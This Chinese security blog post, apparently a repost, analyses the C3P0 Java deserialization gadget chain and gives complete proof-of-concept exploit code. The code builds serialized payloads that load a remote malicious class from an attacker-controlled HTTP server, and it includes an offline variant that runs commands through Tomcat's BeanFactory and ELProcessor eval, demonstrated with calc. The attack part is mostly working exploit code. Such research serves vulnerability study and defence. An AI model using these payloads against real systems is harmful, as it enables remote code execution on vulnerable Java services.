C3P0 反序列化链 & 不出网利用

admin 2025年3月17日09:36:14评论8 views字数 9957阅读33分11秒阅读模式

C3P0 反序列化链 & 不出网利用

前言

看一下目录:

C3P0 反序列化链 & 不出网利用

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

分析过程

ysoserial 中的原理

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase::readObject

漏洞的出发点在于com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase这个类, 该类实现了Serializable接口并且定义了readObject方法:

C3P0 反序列化链 & 不出网利用

对于这里version变量我们不用担心, 随后通过readObject将想要的对象获取过来了, 为什么是这样的逻辑, 实际上是因为writeObject方法中有所写入:

C3P0 反序列化链 & 不出网利用

这里我们看到的是, 代码逻辑为: 如果connectionPoolDataSource是不允许序列化的, 那么就会走catch的逻辑, 这里会要求connectionPoolDataSource必须是Referenceable类型的, 但变量本身是ConnectionPoolDataSource类型, 所以未来在构造POC时, 需要同时满足这两点. 而最终会写入一个ReferenceSerialized类型的数据, 下面我们看一下该类是否是可利用的.

注意: 当前正在分析 writeObject 的逻辑, 只是我们构造 POC 时要考虑的问题, 真正的漏洞产生关注 readObject 方法即可.

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized::getObject

com.mchange.v2.naming.ReferenceIndirector类中有一个ReferenceSerialized内部类:

C3P0 反序列化链 & 不出网利用

该内部类是静态的, 并且是私有的, 也实现了Serializable接口, 其中定义了getObject方法如下:

C3P0 反序列化链 & 不出网利用

第一个红框圈出来可以看到, 这里有一个明显的JNDI注入, 但是我们知道的是JNDI注入是会受到版本限制的, 所以继续看一下ReferenceableUtils.referenceToObject(成员属性[可控],成员属性[可控],nameContext,成员属性[可控])的定义:

C3P0 反序列化链 & 不出网利用

这里存在一个很明显的URLClassLoader, 随后通过Class.forName(可控,true,写死的URLClassLoader)进行远程类加载, 所以这里有现成的URLClassLoader可以直接用. 根本不需要JNDI注入.

手搓 POC

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized::getObject

链子是从前往后看的, 那我们本地构造POC肯定是要从后往前一步一步调试:

// 通过反射获取 ReferenceIndirector$ReferenceSerialized 类
Class<?> clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Reference.className.className.classHashtable.class);
Reference ref = new Reference("h23333""heihu""http://127.0.0.1:8000/"); // 参数2: 恶意类名, 参数3: 恶意VPS
declaredConstructor.setAccessible(true);
Object evilObj = declaredConstructor.newInstance(ref, nullnullnull);
// 得到 ReferenceIndirector$ReferenceSerialized::getObject 方法并调用
Method getObjectMethod = clazz.getDeclaredMethod("getObject");
getObjectMethod.setAccessible(true);
Object o = getObjectMethod.invoke(evilObj);

这是调试com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized::getObject这个方法, 准备heihu.java源码:

import java.lang.Runtime;

publicclassheihu{
static {
try {
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){}
    }
}

编译并开启HTTP服务结果:

C3P0 反序列化链 & 不出网利用

最终运行我们的POC即可弹出计算器.

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase::readObject

下面我们需要对链路进行一个衔接. 从之前我们了解过writeObject的逻辑, 所以这里要针对性的编写一下POC:

publicclassC3P0Tester{
publicstaticvoidmain(String[] args)throws Exception {
        evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便
        poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(poolBackedDataSourceBase); // 序列化, 写入 ByteArrayOutputStream
new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject(); // 反序列化, 读取 ByteArrayInputStream
    }
}

classevilWriteObjectimplementsConnectionPoolDataSourceReferenceable{
// 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定
// 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑
// 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例
@Override
public Reference getReference()throws NamingException {
// 准备好 Reference, 塞入 evilWriteObject::getReference 中
        Reference ref = new Reference("h23333""heihu""http://127.0.0.1:8000/"); // 参数2: 恶意类名, 参数3: 恶意VPS
return ref;
    }

@Override
public PooledConnection getPooledConnection()throws SQLException {
returnnull;
    }

@Override
public PooledConnection getPooledConnection(String user, String password)throws SQLException {
returnnull;
    }

@Override
public PrintWriter getLogWriter()throws SQLException {
returnnull;
    }

@Override
publicvoidsetLogWriter(PrintWriter out)throws SQLException {

    }

@Override
publicvoidsetLoginTimeout(int seconds)throws SQLException {

    }

@Override
publicintgetLoginTimeout()throws SQLException {
return0;
    }

@Override
public Logger getParentLogger()throws SQLFeatureNotSupportedException {
returnnull;
    }
}

运行即可通过URLClassLoader进行加载恶意类.

写入序列化数据到硬盘 - POC

写入操作:

package com.heihu577;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import sun.misc.Unsafe;

import javax.naming.Name;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Hashtable;
import java.util.logging.Logger;

publicclassC3P0Tester{
publicstaticvoidmain(String[] args)throws Exception {
        evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便
        poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入
        FileOutputStream fileOutputStream = new FileOutputStream("D:/evil.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(poolBackedDataSourceBase); // 序列化
        objectOutputStream.close();
    }
}

classevilWriteObjectimplementsConnectionPoolDataSourceReferenceable{
// 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定
// 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑
// 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例
@Override
public Reference getReference()throws NamingException {
// 准备好 Reference, 塞入 evilWriteObject::getReference 中
        Reference ref = new Reference("h23333""heihu""http://127.0.0.1:8000/"); // 参数2: 恶意类名, 参数3: 恶意VPS
return ref;
    }

@Override
public PooledConnection getPooledConnection()throws SQLException {
returnnull;
    }

@Override
public PooledConnection getPooledConnection(String user, String password)throws SQLException {
returnnull;
    }

@Override
public PrintWriter getLogWriter()throws SQLException {
returnnull;
    }

@Override
publicvoidsetLogWriter(PrintWriter out)throws SQLException {

    }

@Override
publicvoidsetLoginTimeout(int seconds)throws SQLException {

    }

@Override
publicintgetLoginTimeout()throws SQLException {
return0;
    }

@Override
public Logger getParentLogger()throws SQLFeatureNotSupportedException {
returnnull;
    }
}

读取操作:

package com.heihu577;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

publicclassread{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException {
new ObjectInputStream(new FileInputStream("D:/evil.ser")).readObject(); // 反序列化
    }
}

最终结果:

C3P0 反序列化链 & 不出网利用

不出网的打法

和 JNDI 高版本绕过的相同之处

可以看到, 这里远程类加载, 也是需要出网的, 那么这个时候怎么办呢?这里我们不走URLClassLoader的逻辑, 如下:

C3P0 反序列化链 & 不出网利用

如果fClassLoationnull, 则会使用当前环境的ClassLoader, 如果在WEB环境下, 则会使用WebAppClassLoader.

随后会将Class.forName生成的实例强制转换成ObjectFactory, 随后调用getObjectInstance, 这里的代码块和在之前做JNDI高版本绕过时是一致的, 所以照搬过来就行.

最终结果

环境引入

这里我们需要引入一下Tomcat:

<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
姿势复现

那么我们编写如下原生脚本, 首先是写入序列化文件:

package com.heihu577;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

publicclassC3P0Tester{
publicstaticvoidmain(String[] args)throws Exception {
        evilWriteObject evilWriteObject = new evilWriteObject(); // 准备好写入类, 完全遵循 writeObject 的写入逻辑
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); // 找一个 public 类型的构造函数, 比较方便
        poolBackedDataSourceBase.setConnectionPoolDataSource(evilWriteObject); // 将"写入类"塞入
        FileOutputStream fileOutputStream = new FileOutputStream("D:/evil.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(poolBackedDataSourceBase); // 序列化, 写入 ByteArrayOutputStream
        objectOutputStream.close();
    }
}

classevilWriteObjectimplementsConnectionPoolDataSourceReferenceable{
// 1. 对象的类型必须为 ConnectionPoolDataSource, 这一点在 PoolBackedDataSourceBase 成员属性中有强制绑定
// 2. 该类不能实现 Serializable 接口, 否则不会走 catch 逻辑
// 3. 该类必须实现 Referenceable 接口, 写入时会调用它的 getReference() 并创建 ReferenceIndirector 实例
@Override
public Reference getReference()throws NamingException {
// 准备好 Reference, 塞入 evilWriteObject::getReference 中
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor"null""""true"org.apache.naming.factory.BeanFactory"null); // javax.el.ELProcessor 类名
        resourceRef.add(new StringRefAddr("forceString""x=eval")); // eval 方法名
        resourceRef.add(new StringRefAddr("x""Runtime.getRuntime().exec('calc')")); // 参数值
return resourceRef;
    }

@Override
public PooledConnection getPooledConnection()throws SQLException {
returnnull;
    }

@Override
public PooledConnection getPooledConnection(String user, String password)throws SQLException {
returnnull;
    }

@Override
public PrintWriter getLogWriter()throws SQLException {
returnnull;
    }

@Override
publicvoidsetLogWriter(PrintWriter out)throws SQLException {

    }

@Override
publicvoidsetLoginTimeout(int seconds)throws SQLException {

    }

@Override
publicintgetLoginTimeout()throws SQLException {
return0;
    }

@Override
public Logger getParentLogger()throws SQLFeatureNotSupportedException {
returnnull;
    }
}

随后是反序列化读取该文件:

publicclassread{
publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException {
new ObjectInputStream(new FileInputStream("D:/evil.ser")).readObject(); // 反序列化, 读取 ByteArrayInputStream
    }
}

运行即可弹出计算器.

Ending...

原文始发于微信公众号(Heihu Share):C3P0 反序列化链 & 不出网利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月17日09:36:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C3P0 反序列化链 & 不出网利用https://cn-sec.com/archives/3847847.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息